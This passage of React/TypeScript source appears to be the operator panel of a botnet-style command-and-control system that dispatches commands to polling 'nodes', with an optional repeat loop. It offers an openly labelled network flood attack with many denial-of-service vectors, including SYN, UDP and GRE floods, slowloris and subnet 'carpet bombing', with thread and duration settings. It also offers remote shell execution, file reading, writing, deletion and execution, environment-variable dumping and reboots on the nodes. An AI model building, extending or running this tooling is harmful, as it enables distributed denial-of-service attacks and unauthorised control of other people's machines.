          <div className="text-slate-400">Size: <span className="text-white font-mono">{report.result.info.size} bytes</span></div>
          <div className="text-slate-400">Mode: <span className="text-white font-mono">{report.result.info.mode}</span></div>
          <div className="text-slate-400">Modified: <span className="text-white">{new Date(report.result.info.mtimeMs || report.result.info.mtime * 1000 || Date.now()).toLocaleString()}</span></div>
        </div>
      </div>
    );
  } else if (report.type === 'read_file' && report.result?.content !== undefined) {
    return (
      <div className="bg-black/40 rounded-lg border border-white/5 overflow-hidden">
        <div className="bg-white/5 px-3 py-2 border-b border-white/10 flex items-center gap-2">
          <FileText size={14} className="text-indigo-400" />
          <span className="text-xs font-semibold text-white">File Output</span>
        </div>
        <pre className="text-xs text-emerald-400 p-3 overflow-x-auto whitespace-pre-wrap font-mono">
          {report.result.content}
        </pre>
      </div>
    );
  }
  return (
    <pre className="text-xs text-emerald-400 bg-black/40 p-2 rounded-lg break-words whitespace-pre-wrap font-mono">
      {JSON.stringify(report.result, null, 2)}
    </pre>
  );
}

function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
  // Use state strictly tied to the category if possible, but shared state is fine.
  // When category changes, reset command to default of that category.
  const [command, setCommand] = useState(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
  
  useEffect(() => {
    setCommand(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
  }, [category]);

  const [targetNode, setTargetNode] = useState('all');
  const [ip, setIp] = useState('127.0.0.1');
  const [port, setPort] = useState('80');
  const [host, setHost] = useState('google.com');
  const [portsList, setPortsList] = useState('80,443');
  const [interval, setIntervalVal] = useState('10');
  const [floodType, setFloodType] = useState('http_get_flood');
  const [duration, setDuration] = useState('10');
  const [threads, setThreads] = useState('10');
  const [packetSize, setPacketSize] = useState('1024');
  const [shellCmd, setShellCmd] = useState('echo hello');
  const [filePath, setFilePath] = useState('/etc/pwd');
  const [status, setStatus] = useState('');
  const [nodes, setNodes] = useState<any[]>([]);
  const [reports, setReports] = useState<any[]>([]);
  const [activeCommands, setActiveCommands] = useState<any[]>([]);
  const [deployments, setDeployments] = useState<string[]>([]);
  const [repeat, setRepeat] = useState(false);

  useEffect(() => {
    const fetchStatus = async () => {
      try {
        const res = await fetch('/api/status');
        const json = await res.json();
        setNodes(json.nodes || []);
        // Get just the reports that are commands
        setReports((json.reports || []).slice(0, 15));
        setActiveCommands(json.activeCommands || []);
        setDeployments(json.deployments || []);
      } catch (err) {}
    };
    fetchStatus();
    const iv = setInterval(fetchStatus, 3000);
    return () => clearInterval(iv);
  }, []);

  const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
  const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
  const requiresFloodArgs = command === 'network_flood';
  const requiresPacketSize = command === 'network_flood' && (floodType === 'udp_flood' || floodType === 'gre_flood');
  const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood', 'ack_flood', 'connection_exhaustion', 'gre_flood', 'http3_quic_flood', 'http2_multiplex', 'browser_emulation'].includes(floodType));
  const requiresPorts = command === 'port_scan';
  const requiresInterval = command === 'change_poll_interval';
  const requiresShell = command === 'exec_shell';
  const requiresPath = command === 'list_directory' || command === 'read_file' || command === 'delete_file' || command === 'write_file' || command === 'run_file' || command === 'copy_file' || command === 'move_file' || command === 'get_file_info';
  const requiresDestPath = command === 'copy_file' || command === 'move_file';
  const requiresContent = command === 'write_file';
  const requiresPid = command === 'kill_process';
  const requiresCustomJson = command === 'custom_json';
  
  const [fileContent, setFileContent] = useState('echo hello');
  const [destPath, setDestPath] = useState('/tmp/dest');
  const [customJson, setCustomJson] = useState('{\n  "payload": {\n    "key": "value"\n  }\n}');

  const issueCommand = async () => {
    let payload: any = {};
    let finalType = command;

    if (requiresCustomJson) {
      try {
        const parsed = JSON.parse(customJson);
        if (parsed.type) finalType = parsed.type;
        payload = parsed.payload || parsed;
      } catch (e) {
        setStatus('Invalid JSON payload');
        return;
      }
    } else {
      if (requiresTarget) payload = { ...payload, ip, port: parseInt(port) || 80 };
      if (requiresFloodArgs) {
         payload = { ...payload, duration: parseInt(duration), url: `http://${ip}:${port}` };
         finalType = floodType; // Overwrite the generic command string with the actual flood logic to run
      }
      if (requiresThreads) payload = { ...payload, threads: parseInt(threads) };
      if (requiresPacketSize) payload = { ...payload, packet_size: parseInt(packetSize) };
      if (requiresHost) payload = { ...payload, host };
      if (requiresPorts) payload = { ...payload, ports: portsList };
      if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
      if (requiresShell) payload = { cmd: shellCmd };
      if (requiresPath) payload = { path: filePath };
      if (requiresDestPath) payload = { ...payload, destPath };
      if (requiresContent) payload = { ...payload, content: fileContent };
      if (requiresPid) payload = { pid: shellCmd };
    }

    try {
      await fetch('/api/commands', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ target: targetNode, type: finalType, payload, repeat })
      });
      setStatus(`Dispatched '${finalType}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
      setTimeout(() => setStatus(''), 3000);
    } catch (e) {
      setStatus('Failed to issue command.');
    }
  };

  const stopLoop = async (id: string) => {
    await fetch(`/api/commands/${id}`, { method: 'DELETE' });
    setActiveCommands(prev => prev.filter(c => c.id !== id));
  };

  return (
    <div className="flex flex-col gap-6">
      <div className="mb-2">
        <h2 className="text-2xl font-bold text-white tracking-tight">{category === 'network' ? 'Network Commands' : category === 'system' ? 'System Commands' : 'File Commands'}</h2>
        <p className="text-slate-400 mt-1 text-sm leading-relaxed">
          Issue {category === 'network' ? 'network diagnostic' : category === 'system' ? 'operational and system' : 'file system'} commands to managed nodes. Nodes poll periodically.
        </p>
      </div>

      <div className="grid grid-cols-1 lg:grid-cols-2 gap-6 items-start">
        <Card title="Command Dispatch" icon={<Play size={18} />}>
          <div className="flex flex-col gap-5">
            <div>
              <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Node</label>
              <select 
                value={targetNode}
                onChange={(e) => setTargetNode(e.target.value)}
                className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner"
              >
                <option value="all">All Connected Nodes</option>
                {nodes.map(n => <option key={n.id} value={n.id}>{n.id} ({n.type})</option>)}
              </select>
            </div>

            <div>
              <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Operation Type</label>
              <select 
                value={command}
                onChange={(e) => setCommand(e.target.value)}
                className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner"
              >
                {category === 'network' && (
                  <optgroup label="Network Commands">
                    <option value="network_flood">L4/L7 Network Flood Attack</option>
                    <option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option>
                    <option value="socket_tcp_probe">TCP Socket Probe</option>
                    <option value="dns_resolve">DNS Resolve</option>
                    <option value="icmp_ping">ICMP Ping Test</option>
                    <option value="traceroute">Traceroute</option>
                    <option value="port_scan">Port Scan</option>
                    <option value="get_public_ip">Get Public IP</option>
                    <option value="arp_table">ARP Table</option>
                    <option value="netstat_connections">Netstat Connections</option>
                    <option value="ifconfig_ip">Network Interfaces (ifconfig/ipconfig)</option>
                    <option value="dns_mx_records">DNS MX Records</option>
                    <option value="dns_txt_records">DNS TXT Records</option>
                    <option value="route_table">Route Table</option>
                    <option value="wifi_networks">List WiFi Networks</option>
                  </optgroup>
                )}
                {category === 'system' && (
                  <optgroup label="System Commands">
                    <option value="check_uptime">Check Uptime</option>
                    <option value="report_sysinfo">Report System Info</option>
                    <option value="ping_heartbeat">Force Heartbeat Ping</option>
                    <option value="change_poll_interval">Change Interval</option>
                    <option value="get_system_info">Hardware Info (CPU/Mem)</option>
                    <option value="get_disk_space">Get Disk Space</option>
                    <option value="list_processes">List Processes</option>
                    <option value="kill_process">Kill Process (PID)</option>
                    <option value="get_env_vars">Get Env Vars</option>
                    <option value="get_users">List Users</option>
                    <option value="get_groups">List Groups</option>
                    <option value="system_logs">System Logs (dmesg/syslog)</option>
                    <option value="list_services">List Services (systemctl/sc)</option>
                    <option value="exec_shell">Exec Shell Command</option>
                    <option value="custom_json">Custom JSON Command</option>
                    <option value="reboot_system">Reboot System (Warning!)</option>
                    <option value="self_terminate">Terminate Client Process</option>
                  </optgroup>
                )}
                {category === 'file' && (
                  <optgroup label="File Commands">
                    <option value="list_directory">List Directory</option>
                    <option value="get_file_info">Get File Info</option>
                    <option value="read_file">Read/View File</option>
                    <option value="write_file">Add/Write File</option>
                    <option value="copy_file">Copy File</option>
                    <option value="move_file">Move/Rename File</option>
                    <option value="delete_file">Delete File</option>
                    <option value="run_file">Execute/Run File</option>
                  </optgroup>
                )}
              </select>
            </div>

            {requiresTarget && (
              <div className="grid grid-cols-3 gap-4 border-t border-white/5 pt-5">
                <div className="col-span-2">
                  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Host / IP</label>
                  <input 
                    type="text" 
                    value={ip}
                    onChange={e => setIp(e.target.value)}
                    placeholder="127.0.0.1"
                    className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                  />
                </div>
                <div className="col-span-1">
                  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Port</label>
                  <input 
                    type="text" 
                    value={port}
                    onChange={e => setPort(e.target.value)}
                    placeholder="80"
                    className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                  />
                </div>
              </div>
            )}

            {requiresFloodArgs && (
              <div className="grid grid-cols-2 gap-4">
                <div className="col-span-2">
                  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Flood Vector Method</label>
                  <select 
                    value={floodType} 
                    onChange={e => setFloodType(e.target.value)} 
                    className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
                  >
                    <optgroup label="L7 Vectors (Application)">
                      <option value="http_get_flood">HTTP/1.1 GET Flood</option>
                      <option value="http_post_flood">HTTP/1.1 POST Flood</option>
                      <option value="slowloris">Slowloris (TCP Exhaustion)</option>
                      <option value="slow_post_flood">Slow POST (Body Exhaustion)</option>
                      <option value="api_abuse_flood">API Abuse Flood</option>
                      <option value="cache_bypass_flood">Cache Bypass Flood</option>
                      <option value="websocket_flood">WebSocket Abuse</option>
                      <option value="http2_multiplex">HTTP/2 Multiplex (Burst)</option>
                      <option value="http3_quic_flood">HTTP/3 QUIC Abuse (UDP)</option>
                      <option value="browser_emulation">Browser Emulation (Legit Traffic)</option>
                    </optgroup>
                    <optgroup label="L3/L4 Vectors (Network/Transport)">
                      <option value="udp_flood">UDP Raw Datagram Flood</option>
                      <option value="tcp_connect_flood">TCP Connect Flood</option>
                      <option value="syn_flood">SYN Flood (Requires Root)</option>
                      <option value="ack_flood">ACK Flood (Requires Root)</option>
                      <option value="connection_exhaustion">TCP Connection Exhaustion</option>
                      <option value="gre_flood">GRE Tunnel Flood (L3)</option>
                      <option value="carpet_bombing">Carpet Bombing (Subnet)</option>
                    </optgroup>
                  </select>
                </div>
                <div>
                  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Duration (s)</label>
                  <input type="text" value={duration} onChange={e=>setDuration(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
                </div>
                {requiresThreads && (
                  <div>
                    <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Threads</label>
                    <input type="text" value={threads} onChange={e=>setThreads(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
                  </div>
                )}
                {requiresPacketSize && (
                  <div>
                    <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Packet Size (bytes)</label>
                    <input type="text" value={packetSize} onChange={e=>setPacketSize(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
                  </div>
                )}
              </div>
            )}
            
            {requiresHost && (
              <div className="border-t border-white/5 pt-5 flex flex-col gap-4">
                <div>
                  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Host / IP</label>
                  <input 
                    type="text" 
                    value={host}
                    onChange={e => setHost(e.target.value)}
                    className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                  />
                </div>
                {requiresPorts && (
                  <div>
                    <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Ports (comma separated)</label>
                    <input 
                      type="text" 
                      value={portsList}
                      onChange={e => setPortsList(e.target.value)}
                      placeholder="80,443,8080"
                      className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                    />
                  </div>
                )}
              </div>
            )}

            {requiresPath && (
              <div className="border-t border-white/5 pt-5">
                <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File / Directory Path</label>
                <input 
                  type="text" 
                  value={filePath}
                  onChange={e => setFilePath(e.target.value)}
                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                />
              </div>
            )}

            {requiresDestPath && (
              <div className="border-t border-white/5 pt-5">
                <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Destination Path</label>
                <input 
                  type="text" 
                  value={destPath}
                  onChange={e => setDestPath(e.target.value)}
                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                />
              </div>
            )}

            {requiresContent && (
              <div className="border-t border-white/5 pt-5">
                <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File Content</label>
                <textarea 
                  value={fileContent}
                  onChange={e => setFileContent(e.target.value)}
                  rows={4}
                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                />
              </div>
            )}

            {requiresCustomJson && (
              <div className="border-t border-white/5 pt-5">
                <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Custom JSON Payload</label>
                <textarea 
                  value={customJson}
                  onChange={e => setCustomJson(e.target.value)}
                  rows={6}
                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                  placeholder={'{\n  "type": "my_command",\n  "payload": { ... }\n}'}
                />
              </div>
            )}

            {requiresInterval && (
              <div className="border-t border-white/5 pt-5">
                <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label>
                <input 
                  type="number" 
                  value={interval}
                  onChange={e => setIntervalVal(e.target.value)}
                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                />
              </div>
            )}

            {(requiresShell || requiresPid) && (
              <div className="border-t border-white/5 pt-5">
                <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">{requiresPid ? 'Process ID (PID)' : 'Shell Command (Use carefully)'}</label>
                <input 
                  type="text" 
                  value={shellCmd}
                  onChange={e => setShellCmd(e.target.value)}
                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
                />
              </div>
            )}

            <div className="flex items-center gap-2 mt-2 px-1">
              <input type="checkbox" id="repeatMode" checked={repeat} onChange={e => setRepeat(e.target.checked)} className="rounded bg-black/20 border-white/10 text-indigo-500 focus:ring-indigo-500" />
              <label htmlFor="repeatMode" className="text-sm text-slate-300 cursor-pointer">Repeat continuously (node will execute on every ping)</label>
            </div>

            <button 
              onClick={issueCommand}
              className={`mt-2 px-6 py-3 ${repeat ? 'bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30' : 'bg-red-500 hover:bg-red-400 shadow-red-500/30'} text-white rounded-xl font-medium shadow-lg transition-all flex items-center justify-center gap-2`}
            >
              <Terminal size={18} /> {repeat ? 'Start Background Loop' : 'Execute Operation'}
            </button>
            {status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>}
          </div>
        </Card>

        <div className="flex flex-col gap-6">
          <Card title="Latest Execution Reports" icon={<Activity size={18} />}>
            {reports.length === 0 ? (
              <div className="text-center py-10 text-slate-400 text-sm">
                <Activity className="w-8 h-8 mx-auto mb-2 opacity-20" />
                Waiting for node reports...
              </div>
            ) : (
              <div className="flex flex-col gap-3 max-h-[350px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
                {reports.map((report, idx) => (
                  <div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm">
                    <div className="flex justify-between items-start mb-1.5">
                      <span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span>
                      <span className="text-slate-500 text-xs">
                        {new Date(report.timestamp).toLocaleTimeString()}
                      </span>
                    </div>
                    <div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
                    <ReportResultViewer report={report} />
                  </div>
                ))}
              </div>
            )}
          </Card>

          {activeCommands.length > 0 && (
            <Card title="Active Command Loops" icon={<Activity size={18} />}>
              <div className="flex flex-col gap-3 max-h-[250px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
                {activeCommands.map(cmd => (
                  <div key={cmd.id} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm flex items-center justify-between">
                    <div>
                      <div className="text-white font-medium text-sm flex items-center gap-2">
                        <div className="w-2 h-2 rounded-full bg-indigo-500 animate-pulse"></div>
                        {cmd.type}
                      </div>
                      <div className="text-slate-400 text-xs mt-1">Target: <span className="font-mono">{cmd.target}</span></div>
                    </div>
                    <button onClick={() => stopLoop(cmd.id)} className="text-xs text-red-400 border border-red-500/30 px-3 py-1.5 rounded-lg bg-red-400/10 hover:bg-red-400/20 transition-colors">
                      Stop Loop
                    </button>
                  </div>
                ))}
              </div>
            </Card>
          )}
        </div>
      </div>
    </div>
  );
}
